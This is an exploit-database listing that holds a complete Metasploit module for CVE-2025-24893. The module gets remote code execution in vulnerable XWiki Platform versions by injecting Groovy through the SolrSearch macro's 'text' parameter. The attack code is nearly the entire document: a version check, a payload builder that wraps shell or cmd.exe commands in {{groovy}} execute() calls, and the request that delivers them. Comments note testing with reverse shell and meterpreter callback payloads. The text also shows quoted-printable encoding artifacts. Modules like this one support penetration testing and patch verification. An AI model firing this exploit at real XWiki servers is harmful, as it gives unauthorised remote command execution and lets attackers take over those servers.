XWiki Platform 15.10.10 - Metasploit Module for Remote Code Execution (RCE)
Author: Maksim Rogov
type: webapps
platform: multiple
port:
date_added: 2025-09-16
date_updated: 2025-09-16
verified: 0
codes: CVE-2025-24893
tags:
aliases:
screenshot_url:
application_url:
raw file: 52429.txt
##
# Exploit Title: XWiki Platform 15.10.10 - Metasploit Module for Remote Code Execution (RCE)
# Date: 09/01/2025
# Exploit Author: Maksim Rogov
# Vendor Homepage: https://www.xwiki.org/
# Software Link: https://www.xwiki.org/xwiki/bin/view/Download/
# Version: (5.3‑milestone‑2 ≤ v < 15.10.11) ∨ (16.0.0‑rc‑1 ≤ v < 16.4.1)
# Tested on: Ubuntu 18.0.4 | Windows 10
# CVE : CVE-2025-24893
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank =3D ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info =3D {})
super(
update_info(
info,
'Name' =3D> 'Remote Code Execution Vulnerability in XWiki Platform =
(CVE-2025-24893)',
'Description' =3D> %q{
This module exploits a template injection vulnerability in the th=
e XWiki Platform.
XWiki includes a macro called SolrSearch (defined in Main.SolrSea=
rchMacros) that enables full-text search through the embedded Solr engine.
The vulnerability stems from the way this macro evaluates search =
parameters in Groovy, failing to sanitize or restrict malicious input.
This vulnerability affects XWiki Platform versions >=3D 5.3-miles=
tone-2 and < 15.10.11, and versions >=3D 16.0.0-rc-1 and < 16.4.1.
Successful exploitation may result in the remote code execution u=
nder the privileges
of the web server, potentially exposing sensitive data or disrupt=
ing survey operations.
An attacker can execute arbitrary system commands in the context =
of the user running the web server.
},
'License' =3D> MSF_LICENSE,
'Author' =3D> [
'Maksim Rogov', # Metasploit Module
'John Kwak' # Vulnerability Discovery
],
'References' =3D> [
['CVE', '2025-24893'],
['URL', 'https://github.com/xwiki/xwiki-platform/security/advisor=
ies/GHSA-rr6p-3pfg-562j']
],
'Platform' =3D> ['unix', 'linux', 'win'],
'Arch' =3D> [ARCH_CMD],
'Targets' =3D> [
[
'Unix Command',
{
'Platform' =3D> ['unix', 'linux'],
'Arch' =3D> ARCH_CMD,
'Type' =3D> :unix_cmd,
'DefaultOptions' =3D> {
# On Debian 9 curl is not installed by default
'FETCH_COMMAND' =3D> 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' =3D> ['win'],
'Arch' =3D> ARCH_CMD,
'Type' =3D> :win_cmd
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' =3D> {
'BadChars' =3D> '\\'
},
'DefaultTarget' =3D> 0,
'DisclosureDate' =3D> '2025-02-20',
'Notes' =3D> {
'Stability' =3D> [CRASH_SAFE],
'SideEffects' =3D> [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' =3D> [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to XWiki', '/']),
]
)
end
def check
print_status('Extracting version...')
res =3D send_request_cgi(
'uri' =3D> normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'),
'method' =3D> 'GET'
)
return CheckCode::Unknown('No response from target') unless res&.code =
=3D=3D 200
version_div =3D res.get_html_document.at('div[id=3D"xwikiplatformversio=
n"]')
return CheckCode::Safe('Possibly not XWiki or incorrect path (version t=
ag not found)') unless version_div
version_match =3D version_div.text.match(/XWiki.*?(\d+\.\d+\.\d+)/)
unless version_match
print_error("#{peer} - Unable to extract version number")
return CheckCode::Detected('XWiki detected, but version number missin=
g or unrecognized')
end
version =3D Rex::Version.new(Regexp.last_match(1).to_s)
print_status("Extracted version: #{version}")
if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.=
10')) ||
version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.=
0'))
return CheckCode::Appears("Detected version #{version}, which is vuln=
erable")
end
return CheckCode::Safe("Version #{version} appears safe")
end
def build_cmd
print_status('Building command for target...')
if target['Type'] =3D=3D :unix_cmd
cmd_array =3D "'sh', '-c', '#{payload.encoded}'"
else
cmd_array =3D "'cmd.exe', '/b', '/q', '/c', '#{payload.encoded}'"
end
print_good('Command successfully built for target')
return "{{async async=3Dfalse}}{{groovy}}[#{cmd_array}].execute().text{=
{/groovy}}{{/async}}"
end
def send_payload(cmd)
print_status('Uploading payload...')
vars_get =3D {
'media' =3D> 'rss',
'text' =3D> cmd
}
send_request_cgi({
'uri' =3D> normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSe=
arch'),
'method' =3D> 'GET',
'vars_get' =3D> vars_get
})
end
def exploit
cmd =3D build_cmd
send_payload(cmd)
end
end